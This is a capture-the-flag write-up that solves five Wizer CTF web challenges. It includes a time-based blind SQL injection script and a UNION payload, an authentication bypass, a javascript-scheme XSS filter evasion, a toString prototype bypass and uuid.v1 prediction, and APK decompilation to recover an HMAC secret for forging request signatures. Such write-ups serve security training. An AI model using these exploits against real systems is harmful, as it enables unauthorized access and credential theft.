WizerCTF-May2024

11 minute read

Wizer CTF is an exciting game designed specifically for developers . It’s all about putting your skills to the test and seeing if you can identify and exploit vulnerabilities while honing your secure coding abilities. The game kicks off with a snappy code snippet that comes with some tricky vulnerabilities. Your goal? Spot those vulnerabilities and figure out how to exploit them. The cool thing is that you don’t have to rely on guesswork to know if you’ve got it right. You can actually execute your payload right there on the game page. If you manage to successfully exploit the vulnerabilities, you’ll earn yourself a flag and a well-deserved spot on leaderboard , The main focus area is web exploitation and the ctf event is held every quarter , this writeup discusses 5 challenges out of 6.

1- Login as an Admin (SQLi)

The first challenge is a typicall sql injection challenge however it checks if the password we enter is the same returning from the table which makes it a bit tricky , also the name of admin was given “fitzh”

const getUser = async (userName, password) => {
    let connection = mysql.createConnection(process.env.DATABASE_URL);
    const query = `SELECT userName, password, type, firstName, lastName FROM users_table
                    WHERE userName = '${userName}' and password = '${password}'`;
    const [rows, fields] = await connection.promise().query(query);

    connection.end();
    return rows;
}

const login = async (userName, password) => {
    const rows = await getUser(userName, password);
    if(rows.length === 1 && password === rows[0].password) {
        rows[0].password = "[REDACTED]";
        return rows;
    }
    
    return [];
};

this challenge can be solved blind time based as following (time consuming , not smart , not intended)

#!/usr/bin/env python3
import requests


url = "https://event2-0-4893hjf.vercel.app/api/login"
keyspace = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz!@#$^&*'
flag=""
data={'user':'','password':'test'}
 
for i in range(16):
    for x in range (31,126) :
        data['user']= f"fitzh' AND IF({x}=ascii(SUBSTR((SELECT password FROM users_table where userName='fitzh'),{i+1},1)),SLEEP(5),0);-- -"
        response = requests.post(url,json=data)
        if(response.elapsed.total_seconds()>3):
            flag += chr(x)
            print(flag)
            break 


print(flag)

Or it can be easily solved using the AS Alias as some people did during the CTF

{ 
      "user": "fritzh' UNION SELECT 'fritzh'  as userName, '\" AND \\'1\\' = \\'1' as password, (SELECT password from users_table where username='fitzh') as type, '' as firstName, '' as lastName WHERE '1' = '1' OR '1' = \" FROM  users_table", 
      "password": "\" AND '1' = '1"
}

2- Augustus Gloop’s Secret (APIs)

The challenge discusses a recent bypass technique that when an api is blacklisted like “/admin” , it can be called with “/admin/” and the check will be bypassed easily , but this time they blacklisted the / character , so we can find other way to add a character make it valid to request /getuser but also bypasses the check of requireAuthentication

There is a user id :4dc6b6fa-963f-4c51-b100-d2c5def2498d given to retrieve its data as a POC.


dotenv.config();
const uuidFormat = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-5][0-9a-f]{3}-[089ab][0-9a-f]{3}-[0-9a-f]{12}$/i;
const requireAuthentication = ['getuser', 'getcompany'];

app.post('/callApi', async (req, res) => {
    let json = req.body;
    let api = String(json.api)?.trim()?.toLowerCase().replaceAll('/', '').replaceAll('\\', '');
    let token = json.token;
    try {
        if (requireAuthentication.includes(api)) {
            if (token == process.env.tokenSecret) {
                console.log("authenticated api:", api);
                const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);
                res.send(response.data);
            } else {
                res.send("Invalid token");
            }  
        } else {
            console.log("unauthenticated api:", api);
            const response = await axios.post(`http://localhost:${process.env.internalPort}/${api}`, json);
            res.send(response.data);
        }
    } catch(e) {
        res.status(500).end(e.message);
        console.error(e);
    }
});

app2.post('/getUser', async (req, res) => {
    const client = new MongoClient(process.env.MONGODB_URI);
    try {
        console.log("remote ip:" + requestIp.getClientIp(req));
        console.log("/users body ", req.body, typeof(req.body));

        const userId = req.body.userId;
        if(typeof(req.body) === 'object' && userId && userId.match(uuidFormat)) {
            await client.connect();
            const db = client.db("evenr2_2");
            const user = await db
                .collection("users")
                .find({ user_id: userId }) 
                .maxTimeMS(5000)
                .toArray()
            console.log(user);
            res.send(JSON.stringify(user));
        } else {
            res.send("Invalid arguments provided");
        }
    } catch (e) {
        res.status(500).end(e.message);
        console.error(e);
    } finally {
        await client.close();
    }
})

app2.post('/getCompanies', async (req, res) => {
    const client = new MongoClient(process.env.MONGODB_URI);
    try {
        console.log("remote ip:" + requestIp.getClientIp(req));
        console.log("/companies body ", req.body, typeof(req.body));

        ...
})

app2.post('/CRMEntities', async (req, res) => {
    res.send(CRMEntities);
})


adding the ? will make the endpoint still valid to request then we can add the arguments needed and get the record we want

image

3- Hack the Menu (XSS)

The challenge is a clear open redirect challenge to trigger XSS via the javascript scheme , however the scheme is blocked in all cases as shown

import React from 'react';
import Image from 'next/image'

const sanitizeLink = (directLink) => {
  // prevent XSS (replace case insensitive 'javascript' recursively in the URL)
  let searchMask = "javascript";
  let regEx = new RegExp(searchMask, "ig");
  
  while(directLink !== String(directLink).replace(regEx, '')) {
    directLink = String(directLink).replace(regEx, '');
  }
  return directLink;
}

There are multiple ways to solve it by adding characters that still make the protocol valid and passes the check like %09 , %0A%0D as shown

image

4- Sensitive Flags (Nodejs UIDv1)

The goal of the challenge is clear we want to issue a request to /flag with a valid username and a valid corresponding API_KEY , although it checks for authroization header we can still see the data at the redirect response (unsafe redirect) , and we can generate API_KEY for the admin account using createAPIKey

const secretKey = crypto.randomBytes(64);
const flags = {
    'Belgium': 'black yellow red',
    'United States': 'red white blue',
    'France': 'blue white red',
    'United Kingdom': 'red white blue',
    'Germany': 'black red gold',
    'FLAG': process.env.FLAG
};
const users = {'admin': {'APIKey': uuid.v1()}};


app.get('/getAPIKey', (req, res) => {
    // Step 2: Only send the result if the user is logged in
    const authHeader = req.headers.authorization || "No auth";
    const token = authHeader.split(' ')[1];
    result = {'APIKey': ''}
    jwt.verify(token, secretKey, (err, user) => {          
        if (err) { // If the token is not valid
            res.status(302);
            res.setHeader('Location', '/Forbidden');
        } else  { // If the token is valud
            result.APIKey = users[user.username]['APIKey'];
        }
        res.send(result);
    });
});

app.get('/createAPIKey', (req, res) => {
    if (req.query.sample) return res.json(uuid.v1());
    if (!users[req.query.username]) return res.json('That user does not exist');
    users[req.query.username]['APIKey'] = uuid.v1();
    return res.json(`Generated new API key for user ${req.query.username}`);
});

app.get('/flag', (req, res) => {
    // Step 1: Get the flag data but protected by the API key, our flag data is very sensitive!
    let result = 'No result yet'
    if (users[req.query.username] && req.query.apikey === users[req.query.username]['APIKey']) {
        result = flags[req.query.flag];
    }

    // Step 2: Only send the result if the user is logged in
    const authHeader = req.headers.authorization || "No auth";
    const token = authHeader.split(' ')[1];
    jwt.verify(token, secretKey, (err) => {          
        // If the token is not valid
        if (err) {
            res.status(302);
            res.setHeader("Location", "/Forbidden")
        }
        // If the token is valid
        res.send(result) 
    });
});


Using uuid.v1() is known to be unsecure as it calculates values based on the timestamp and mac address of the device , it is known to be vulnerable for the sandwich attack , the following lines are the most important ones , we can get the sample and right after it the admin API_KEY is set so we can get brute-force few ones after the sample we got to get the APIKey assigned to the admin

if (req.query.sample) return res.json(uuid.v1());
if (!users[req.query.username]) return res.json('That user does not exist');
    users[req.query.username]['APIKey'] = uuid.v1();

Running the sample request multiple times to check the pattern we get only the first fragment is slightly changed

image

So eventually solution will be to do the following steps :

  • reset admin api token
  • get the sample value
  • brute-force the first fragment (maybe last 6 digits of the first fragment is enough)

However , there is another unintended solution to bypass the checks as following (This solution was discussed in the ctf server after the event ended)

  if (users[req.query.username] && req.query.apikey === users[req.query.username]['APIKey']) {
        result = flags[req.query.flag];
    }
  • As we control the req.query.username , if we pass the first check so it returns something but doesn’t have an apikey
  • In same time don’t provide apikey parameter so we pass the if checks and get into the body
  • we supply ?flag=FLAG so we choose the flag from the list given
Function.prototype.toString()
Returns a string representing the source code of the function. Overrides the Object.prototype.toString method.

To abuse the req.query.username we can supply req.query.username["toString"] This returns a function and not undefined error message so first check in the if is passed , then don’t provide apikey parameter so it will be undefined and as the username is not really valid will also return undefined from users[req.query.username]['APIKey'] and pass all checks. then supply flag parameter , final payload :

/flag?username=toString&flag=FLAG 

image

6- Sign Here (React Native)

This challenge was the most interesting one as it contains APK analysis part , analyzing the code we will understand the following

  • to get the flag /flag we need to be logged in (have a valid session)
  • we also need a valid signature which contains url , body parameters so we don’t manipulate it
  • we can’t get admin password or secret key directly
  • there is an apk we can use as a client to send requests
const users = {
    'admin': { id: 1, username: 'admin', password: process.env.ADMIN_PASSWORD, flag: process.env.FLAG },
    'user': { id: 2, username: 'user', password: 'password', flag: 'You don\'t have a flag.' }
};

function requireLogin(req, res, next) {
    if (req.session && req.session.user) {
        return next();
    } else {
        return res.status(401).json({ message: 'Unauthorized' });
    }
}

function verifySignature(secret) {
    return function(req, res, next) {
        const url = req.originalUrl;
        const body = req.body || {};
        const signature = req.get('Signature');
        if (!signature) return res.status(401).send('Signature header is missing');

        const hmac = crypto.createHmac('sha256', secret);
        hmac.update(url);
        hmac.update(JSON.stringify(body));
        const calculatedSignature = hmac.digest('hex');

        if (signature !== calculatedSignature) return res.status(401).send('Invalid signature');
        next();
    };
}
const verifySignatureMiddleware = verifySignature(process.env.SIGNING_SECRET)

const app = express();
app.use(cors());
app.use(express.json());
app.use(session({secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: true}));

app.post('/login', verifySignatureMiddleware, (req, res) => {
    const { username, password } = req.body;
    const user = users[username];

    if (user && user.password === password) {
        req.session.user = username;
        res.json({ message: 'Login successful', user: user });
    } else {
        res.status(401).json({ message: 'Invalid username or password' });
    }
});

app.get('/flag', requireLogin, verifySignatureMiddleware, (req, res) => {
    const id = Number(req.query.id);
    res.json({ flag: Object.entries(users).find(([_, value]) => value.id === id)[1]['flag'] });
});

app.get('/download/SignHere.apk', (req, res) => {
    res.send('Download the app <a href=https://sam-staging.wizer-ctf.com/downloads/SignHere.apk>here</a>');
});


Downloading the APK and starting it with jadx we found some strings related to facebook react and can find the assets/index.android.bundle file confirming it is react native application , the file is not readable as it is in bytecode format , decompressing the apk and running file against it we found the following

index.android.bundle: Hermes JavaScript bytecode, version 96

searching for de-compilers for this version only found this one herhermes-dec which can decompile and dis-assemble the bundle file

# install 
sudo pip3 install --upgrade git+https://github.com/P1sec/hermes-dec
# run commands
hbc-disassembler assets/index.android.bundle file.hasm
hbc-decompiler assets/index.android.bundle file.js    

Running the apk to see where to search for what , also we will run proxydroid with burpsuite ip as a proxy to interecpt traffic and capture requests

image

  • the application takes the url root and username , password
  • after submitting request the below request is issues to /login with the signature
  • the response returned is displayed in the app

image

The signature is generated in the apk , so we can try to get to its logic and generate our signature to the /flag endpoint , as the apk appends /login by itself we can search for that string in the js file we generated by the decompiler , will find this long hex encoded string which can be decoded to Th!s1SAV3rrrrrrrrYYYYYYG00DS3cr3t! which will be the key

image

now using following page we can re-produce same signature in the login request

const crypto = require('crypto');

function generateSignature(secret, url, body) {
    const hmac = crypto.createHmac('sha256', secret);
    hmac.update(url);
    hmac.update(JSON.stringify(body));
    return hmac.digest('hex');
}

const secret = '54682173315341563372727272727272725959595959594730304453336372337421';
const url = '/login';
const body = { username: 'user', password: 'password' };
const signature = generateSignature(secret, url, body);
console.log(signature);
// output : 9c04251d39d1578eb2b04526b7a1c87367598779ae68a627b5ec64fbf1272356

to generate a signature for the flag we can use same page but modify the url and add a parameter id as exepceted in the code above , get signature from below script , get new cookie after a fresh login add both and get the flag

const crypto = require('crypto');

function generateSignature(secret, url, body) {
    const hmac = crypto.createHmac('sha256', secret);
    hmac.update(url);
    hmac.update(JSON.stringify(body));
    return hmac.digest('hex');
}

const secret = '54682173315341563372727272727272725959595959594730304453336372337421';
const url = '/flag?id=1';
const body = { username: 'user', password: 'password' };
const signature = generateSignature(secret, url, body);
console.log(signature);

image